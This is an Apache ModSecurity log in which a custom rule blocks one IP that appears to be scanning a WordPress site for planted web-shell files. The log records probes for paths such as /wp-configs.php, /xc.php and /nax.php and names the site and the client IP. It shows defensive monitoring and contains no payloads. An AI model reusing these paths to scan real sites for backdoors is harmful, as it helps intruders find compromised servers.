[Wed Jan 07 01:51:48.042139 2026] [:error] [pid 45959:tid 45974] [client 20.239.71.136:11515] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-configs.php"] [unique_id "aV1LtFajdn8P3hjgMYxhYwAAAUw"]
[Wed Jan 07 01:51:48.914772 2026] [:error] [pid 35140:tid 35152] [client 20.239.71.136:40879] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-configs.php"] [unique_id "aV1LtHoQaIDFMbT-XMwmwQAAAQo"]
[Wed Jan 07 01:51:49.340937 2026] [:error] [pid 44905:tid 44973] [client 20.239.71.136:18094] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-configs.php"] [unique_id "aV1Ltbu7ufwWVst9EAtCggAAAIU"]
[Wed Jan 07 01:51:49.850519 2026] [:error] [pid 44905:tid 44976] [client 20.239.71.136:11599] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-configs.php"] [unique_id "aV1Ltbu7ufwWVst9EAtChwAAAIg"]
[Wed Jan 07 01:51:50.507304 2026] [:error] [pid 45012:tid 45035] [client 20.239.71.136:1511] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-help.php"] [unique_id "aV1LthaMAxCuju1d0uZoaAAAANU"]
[Wed Jan 07 01:51:51.897405 2026] [:error] [pid 45959:tid 45981] [client 20.239.71.136:46666] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-help.php"] [unique_id "aV1Lt1ajdn8P3hjgMYxhbAAAAVM"]
[Wed Jan 07 01:51:52.694697 2026] [:error] [pid 44903:tid 44922] [client 20.239.71.136:40877] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-help.php"] [unique_id "aV1LuNhHqjs38zbkQPBwxQAAAA8"]
[Wed Jan 07 01:51:54.130224 2026] [:error] [pid 35140:tid 35162] [client 20.239.71.136:46677] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-help.php"] [unique_id "aV1LunoQaIDFMbT-XMwmyAAAARQ"]
[Wed Jan 07 01:51:55.567893 2026] [:error] [pid 44905:tid 44988] [client 20.239.71.136:24748] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xc.php"] [unique_id "aV1Lu7u7ufwWVst9EAtCjwAAAJQ"]
[Wed Jan 07 01:51:56.615874 2026] [:error] [pid 45959:tid 45972] [client 20.239.71.136:1760] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xc.php"] [unique_id "aV1LvFajdn8P3hjgMYxhewAAAUo"]
[Wed Jan 07 01:51:57.534720 2026] [:error] [pid 44903:tid 44917] [client 20.239.71.136:1517] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xc.php"] [unique_id "aV1LvdhHqjs38zbkQPBw0wAAAAo"]
[Wed Jan 07 01:51:58.236783 2026] [:error] [pid 44905:tid 44974] [client 20.239.71.136:23980] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xc.php"] [unique_id "aV1Lvru7ufwWVst9EAtCkwAAAIY"]
[Wed Jan 07 01:51:59.751311 2026] [:error] [pid 44904:tid 44946] [client 20.239.71.136:23828] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/includes/wp-trackback.php"] [unique_id "aV1LvztieuI1BJEZcveLvAAAAEU"]
[Wed Jan 07 01:52:00.225438 2026] [:error] [pid 45959:tid 45963] [client 20.239.71.136:18135] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/includes/wp-trackback.php"] [unique_id "aV1LwFajdn8P3hjgMYxhhAAAAUE"]
[Wed Jan 07 01:52:00.819431 2026] [:error] [pid 35140:tid 35158] [client 20.239.71.136:18167] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/includes/wp-trackback.php"] [unique_id "aV1LwHoQaIDFMbT-XMwmywAAARA"]
[Wed Jan 07 01:52:01.792447 2026] [:error] [pid 35140:tid 35161] [client 20.239.71.136:23820] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/includes/wp-trackback.php"] [unique_id "aV1LwXoQaIDFMbT-XMwmzgAAARM"]
[Wed Jan 07 01:52:02.333736 2026] [:error] [pid 45012:tid 45019] [client 20.239.71.136:23029] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/files.php"] [unique_id "aV1LwhaMAxCuju1d0uZodgAAAMU"]
[Wed Jan 07 01:52:02.694488 2026] [:error] [pid 45012:tid 45022] [client 20.239.71.136:23831] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/files.php"] [unique_id "aV1LwhaMAxCuju1d0uZoeQAAAMg"]
[Wed Jan 07 01:52:03.590352 2026] [:error] [pid 45959:tid 45983] [client 20.239.71.136:23425] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/files.php"] [unique_id "aV1Lw1ajdn8P3hjgMYxhhwAAAVU"]
[Wed Jan 07 01:52:04.233045 2026] [:error] [pid 44904:tid 44958] [client 20.239.71.136:18051] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/files.php"] [unique_id "aV1LxDtieuI1BJEZcveLvwAAAFE"]
[Wed Jan 07 01:52:04.772715 2026] [:error] [pid 45959:tid 45971] [client 20.239.71.136:1472] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/hly.php"] [unique_id "aV1LxFajdn8P3hjgMYxhiQAAAUk"]
[Wed Jan 07 01:52:05.776904 2026] [:error] [pid 45959:tid 45982] [client 20.239.71.136:18144] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/hly.php"] [unique_id "aV1LxVajdn8P3hjgMYxhjAAAAVQ"]
[Wed Jan 07 01:52:06.402767 2026] [:error] [pid 45959:tid 45985] [client 20.239.71.136:23476] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/hly.php"] [unique_id "aV1Lxlajdn8P3hjgMYxhjwAAAVc"]
[Wed Jan 07 01:53:11.936777 2026] [:error] [pid 35140:tid 35157] [client 20.239.71.136:4660] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/nax.php"] [unique_id "aV1MB3oQaIDFMbT-XMwnXgAAAQ8"]
[Wed Jan 07 01:53:13.432667 2026] [:error] [pid 44904:tid 44948] [client 20.239.71.136:19739] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/nax.php"] [unique_id "aV1MCTtieuI1BJEZcveMSgAAAEc"]
[Wed Jan 07 01:53:14.477159 2026] [:error] [pid 45959:tid 45976] [client 20.239.71.136:29620] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/nax.php"] [unique_id "aV1MClajdn8P3hjgMYxiEgAAAU4"]
[Wed Jan 07 01:53:15.235864 2026] [:error] [pid 45959:tid 45962] [client 20.239.71.136:4691] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/nax.php"] [unique_id "aV1MC1ajdn8P3hjgMYxiEwAAAUA"]
[Wed Jan 07 01:53:16.483395 2026] [:error] [pid 44904:tid 44944] [client 20.239.71.136:3179] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ooj.php"] [unique_id "aV1MDDtieuI1BJEZcveMWQAAAEM"]
[Wed Jan 07 01:53:17.294324 2026] [:error] [pid 44905:tid 44972] [client 20.239.71.136:20249] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ooj.php"] [unique_id "aV1MDbu7ufwWVst9EAtDFgAAAIQ"]
[Wed Jan 07 01:53:17.994014 2026] [:error] [pid 44904:tid 44963] [client 20.239.71.136:23206] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ooj.php"] [unique_id "aV1MDTtieuI1BJEZcveMXgAAAFY"]
[Wed Jan 07 01:53:18.517209 2026] [:error] [pid 35140:tid 35150] [client 20.239.71.136:19714] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ooj.php"] [unique_id "aV1MDnoQaIDFMbT-XMwnZwAAAQg"]
[Wed Jan 07 01:53:20.026403 2026] [:error] [pid 44905:tid 44988] [client 20.239.71.136:23192] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/orm.php"] [unique_id "aV1MELu7ufwWVst9EAtDHAAAAJQ"]
[Wed Jan 07 01:53:20.472261 2026] [:error] [pid 44904:tid 44952] [client 20.239.71.136:24291] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/orm.php"] [unique_id "aV1MEDtieuI1BJEZcveMYwAAAEs"]
[Wed Jan 07 01:53:20.804665 2026] [:error] [pid 45959:tid 45977] [client 20.239.71.136:23201] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/orm.php"] [unique_id "aV1MEFajdn8P3hjgMYxiJwAAAU8"]
[Wed Jan 07 01:53:22.509182 2026] [:error] [pid 44904:tid 44950] [client 20.239.71.136:4690] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/orm.php"] [unique_id "aV1MEjtieuI1BJEZcveMaAAAAEk"]
[Wed Jan 07 01:53:24.478644 2026] [:error] [pid 45959:tid 45973] [client 20.239.71.136:11789] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/yep.php"] [unique_id "aV1MFFajdn8P3hjgMYxiLwAAAUs"]
[Wed Jan 07 01:53:25.532693 2026] [:error] [pid 45012:tid 45037] [client 20.239.71.136:19755] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/yep.php"] [unique_id "aV1MFRaMAxCuju1d0uZpNwAAANc"]
[Wed Jan 07 01:53:26.704710 2026] [:error] [pid 44903:tid 44908] [client 20.239.71.136:29972] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/yep.php"] [unique_id "aV1MFthHqjs38zbkQPBxkAAAAAE"]
[Wed Jan 07 01:53:27.710989 2026] [:error] [pid 44903:tid 44916] [client 20.239.71.136:15947] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/yep.php"] [unique_id "aV1MF9hHqjs38zbkQPBxlwAAAAk"]
[Wed Jan 07 01:53:28.583503 2026] [:error] [pid 44903:tid 44927] [client 20.239.71.136:42799] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/x3.php"] [unique_id "aV1MGNhHqjs38zbkQPBxmQAAABQ"]
[Wed Jan 07 01:53:30.099912 2026] [:error] [pid 45012:tid 45034] [client 20.239.71.136:42756] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/x3.php"] [unique_id "aV1MGhaMAxCuju1d0uZpSQAAANQ"]
[Wed Jan 07 01:53:30.931463 2026] [:error] [pid 44905:tid 44981] [client 20.239.71.136:42804] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/x3.php"] [unique_id "aV1MGru7ufwWVst9EAtDJgAAAI0"]
[Wed Jan 07 01:53:32.172100 2026] [:error] [pid 35140:tid 35143] [client 20.239.71.136:3085] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/x3.php"] [unique_id "aV1MHHoQaIDFMbT-XMwndwAAAQE"]
[Wed Jan 07 01:53:32.902103 2026] [:error] [pid 35140:tid 35145] [client 20.239.71.136:3125] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/6erg.php"] [unique_id "aV1MHHoQaIDFMbT-XMwnegAAAQM"]
[Wed Jan 07 01:53:34.002522 2026] [:error] [pid 45959:tid 45976] [client 20.239.71.136:11785] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/6erg.php"] [unique_id "aV1MHlajdn8P3hjgMYxiQgAAAU4"]
[Wed Jan 07 01:53:34.701254 2026] [:error] [pid 44904:tid 44962] [client 20.239.71.136:12843] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/6erg.php"] [unique_id "aV1MHjtieuI1BJEZcveMdQAAAFU"]
[Wed Jan 07 01:53:36.152127 2026] [:error] [pid 45012:tid 45026] [client 20.239.71.136:29986] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/6erg.php"] [unique_id "aV1MIBaMAxCuju1d0uZpUgAAAMw"]
[Wed Jan 07 01:53:37.131938 2026] [:error] [pid 44905:tid 44990] [client 20.239.71.136:12835] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ggfi.php"] [unique_id "aV1MIbu7ufwWVst9EAtDLAAAAJY"]
[Wed Jan 07 01:53:38.667033 2026] [:error] [pid 44905:tid 44974] [client 20.239.71.136:1991] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ggfi.php"] [unique_id "aV1MIru7ufwWVst9EAtDMAAAAIY"]
[Wed Jan 07 01:53:39.905380 2026] [:error] [pid 44905:tid 44989] [client 20.239.71.136:42860] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ggfi.php"] [unique_id "aV1MI7u7ufwWVst9EAtDMQAAAJU"]
[Wed Jan 07 01:53:42.192830 2026] [:error] [pid 35140:tid 35159] [client 20.239.71.136:11759] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ggfi.php"] [unique_id "aV1MJnoQaIDFMbT-XMwnhwAAARE"]
[Wed Jan 07 01:53:43.355216 2026] [:error] [pid 44905:tid 44977] [client 20.239.71.136:17893] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wrt.php"] [unique_id "aV1MJ7u7ufwWVst9EAtDOgAAAIk"]
[Wed Jan 07 01:53:44.021792 2026] [:error] [pid 45959:tid 45983] [client 20.239.71.136:51884] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wrt.php"] [unique_id "aV1MKFajdn8P3hjgMYxiWgAAAVU"]
[Wed Jan 07 01:53:45.169675 2026] [:error] [pid 44905:tid 44969] [client 20.239.71.136:31380] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wrt.php"] [unique_id "aV1MKbu7ufwWVst9EAtDSwAAAIE"]
[Wed Jan 07 01:53:46.488389 2026] [:error] [pid 44903:tid 44917] [client 20.239.71.136:3285] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wrt.php"] [unique_id "aV1MKthHqjs38zbkQPBxtgAAAAo"]
[Wed Jan 07 01:53:47.686368 2026] [:error] [pid 44905:tid 44980] [client 20.239.71.136:19108] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jju.php"] [unique_id "aV1MK7u7ufwWVst9EAtDTQAAAIw"]
